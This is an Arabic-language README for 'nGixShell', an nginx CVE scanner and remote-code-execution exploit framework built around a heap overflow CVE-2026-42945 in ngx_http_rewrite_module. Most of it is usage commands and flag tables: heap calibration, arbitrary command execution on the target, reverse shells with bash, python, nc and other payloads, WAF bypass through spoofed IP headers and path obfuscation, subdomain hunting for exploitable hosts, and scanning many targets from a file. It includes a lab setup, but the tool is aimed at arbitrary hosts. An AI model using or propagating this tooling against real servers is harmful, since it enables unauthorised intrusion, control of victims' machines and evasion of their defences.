
nginx ماسح CVE + إطار عمل استغلال RCE (CVE-2026-42945 + 16 أخرى)
nGixShell هو ماسح ثغرات nginx وإطار عمل لاستغلال RCE. يتضمن إثبات مفهوم لـ CVE-2026-42945 (CVSS 3.1 8.1 HIGH وفقًا لـ F5/NVD) — وهو تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في ngx_http_rewrite_module — بالإضافة إلى ماسح يغطي 64 ثغرة nginx مع فحوصات HTTP آلية، وبصمة الإصدار، وكشف/تجاوز WAF، وتدقيق أمن الويب، وإنشاء التقارير.
بدون أي اعتماديات خارجية. مكتبة Python 3 القياسية فقط.
متطلبات الاستغلال (اقرأ أولًا). لا يعمل
--cmd/--shellإلا عندما تكون جميع الشروط التالية صحيحة: الهدف x86_64، وإعدادrewrite+setالقابل للاستغلال موجود، وASLR معطّل، وعناوين الكومة/libc قد تم معايرتها لذلك الإصدار بالتحديد (calibrate.py→--build-file). راجع متطلبات الاستغلال. الماسح نفسه لا يتطلب أي من ذلك.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
لا حاجة لأي أعلام — توجيه الأداة نحو هدف يشغّل كل شيء تلقائيًا.
يتم الكشف التلقائي عن TLS. يتم أخذ بصمة nginx حتى مع server_tokens off.
system()لا يلتقط stdout:--cmd 'id'يُنفَّذ لكنه لا يطبع أي شيء.
استخدم أمرًا له تأثير جانبي قابل للملاحظة وأكّده باستخدام--verify-url http://target/pwned(HTTP 200 = مؤكد).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| العلم | الوصف |
|---|---|
| (لا شيء) | تلقائي — بصمة + فحص CVE + تدقيق الويب |
--cmd 'CMD' | تنفيذ أمر عبر CVE-2026-42945 RCE |
--cmd-file FILE | تنفيذ أوامر من ملف (مدمجة بـ ;) |
--shell | فتح reverse shell |
--shell-type TYPE | الحمولة: bash python perl php nc powershell (الافتراضي: python) |
--upgrade-shell | إرسال ترقية PTY تلقائيًا بعد اتصال الـ shell |
--verify-url URL | بعد اكتشاف انهيار، جلب URL لتأكيد تنفيذ الأمر (200 = مؤكد) |
--subdomain-scan DOMAIN | البحث عن nginx قابل للاستغلال في النطاقات الفرعية |
--cve CVE-ID | اختبار ثغرة محددة واحدة |
--list-cves | طباعة جميع الثغرات الـ 64 مع CVSS ومعلومات الفحص |
--list-candidates | طباعة مرشحات عناوين الكومة |
--dry-run | بصمة + فحص فقط، بدون استغلال |
--target-file FILE | فحص عدة مضيفين من ملف |
| العلم | الوصف |
|---|---|
--build-file FILE | موصى به. ملف تعريف معايرة JSON من calibrate.py --json -o FILE |
--offsets SPEC | إزاحات كومة سداسية عشرية مفصولة بفواصل من calibrate.py (مثل 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | تجاوزات يدوية للعناوين |
--build KEY | ملف تعريف مدمج (فقط مرجع مختبر DepthFirst مضمّن) |
--rewrite-path PATH | موقع rewrite القابل للاستغلال (الافتراضي /api) |
--spray-path PATH | موقع مدعوم بـ proxy_pass يُستخدم لرش جسم POST (الافتراضي /upload؛ المختبر المضمّن يستخدم /spray) |
--spray-mode partial|full | partial: جسم قصير + Content-Length كبير (المختبر المضمّن)؛ full: جسم كامل + X-Delay (مختبر DepthFirst) |
--pad-a N / --pad-plus N | حشو مسار التشغيل قبل تشغيل + (الافتراضي 349 / 969، من PoC المورّد) |
--continue-on-crash | الاستمرار في تجربة مرشحات الكومة المتبقية بعد انهيار غير مؤكد |
--tries N / --spray N / --body-len N | محاولات التشغيل لكل مرشح / اتصالات الرش / حجم جسم الرش |
| العلم | الوصف |
|---|---|
--waf-detect | كشف WAF قبل الفحص |
--waf-bypass | تفعيل جميع تقنيات التجاوز (يشغّل الكشف أيضًا) |
--waf-ip IP | انتحال هذا IP في ترويسات التجاوز (الافتراضي: RFC1918 عشوائي) |
تقنيات التجاوز (جميعها نشطة عند تعيين --waf-bypass):
| التقنية | التفاصيل |
|---|---|
| انتحال IP | X-Forwarded-For، X-Real-IP، X-Originating-IP، True-Client-IP، X-Remote-IP، X-Client-IP |
| تدوير UA | 11 User-Agent حقيقي لمتصفحات/بوتات، عشوائي لكل طلب |
| تشويش المسار | شرطة مزدوجة، حشو /./، ترميز نسبي، تنويع حالة الأحرف |
| خلط حالة الترويسات | عشوائية حالة أحرف أسماء الترويسات لكسر مطابقة أنماط WAF |
جدران WAF المكتشفة: Cloudflare، AWS WAF، Akamai، Imperva/Incapsula، ModSecurity، F5 BIG-IP ASM، Sucuri، Barracuda، NAXSI، Fastly، Wordfence
يعمل تلقائيًا في وضع الفحص. يمكن تخطي جميع الوحدات بشكل فردي.
| العلم | الوصف |
|---|---|
--skip-headers | تخطي تدقيق ترويسات أمان HTTP |
--skip-paths | تخطي اكتشاف المسارات/الملفات |
--skip-vhosts | تخطي تعداد المضيفات الافتراضية |
--skip-tls | تخطي تدقيق بروتوكول TLS |
--path-wordlist FILE | مسارات إضافية للفحص (واحد لكل سطر) |
/nginx_status إذا كان مكشوفًا| العلم | الوصف |
|---|---|
--port PORT | تجاوز المنفذ |
--tls | فرض TLS (يُكتشف تلقائيًا افتراضيًا) |
--proxy URL | بروكسي: http://، https://، socks5:// |
| العلم | الوصف |
|---|---|
--user-agent UA | User-Agent مخصص |
--auth USER:PASS | مصادقة HTTP Basic |
--cookie VALUE | ترويسة Cookie |
--header NAME:VALUE | ترويسة إضافية (قابلة للتكرار) |
| العلم | الوصف |
|---|---|
--rate-limit RPS | الحد الأقصى للطلبات في الثانية |
--jitter MS | تأخير عشوائي 0–MS مللي ثانية بين الطلبات |
--retry N | إعادة محاولة الفحوصات غير الحاسمة (الافتراضي: 1) |
--timeout-multiplier X | قياس جميع المهلات (الافتراضي: 1.0) |
| العلم | الوصف |
|---|---|
--output FILE | كتابة السجل إلى FILE |
--json | طباعة ملخص JSON في النهاية (متعدد الأهداف: {"targets": [...]}) |
--html-report [FILE] | إنشاء تقرير HTML (ملف واحد لكل هدف في وضع تعدد الأهداف) |
--verbose | إخراج التصحيح |
رموز الخروج: 0 — لا نتائج / تم التحقق من الاستغلال؛ 1 — توجد نتائج، لا
انهيار، أو خطأ في التنفيذ. مخصص لبوابة CI. --cmd بدون --verify-url
يعيد 0 عند اكتشاف انهيار العامل، وهو ما يثبت فقط أن التجاوز وصل إلى
مؤشر تنظيف pool — وليس أن الكود نُفِّذ.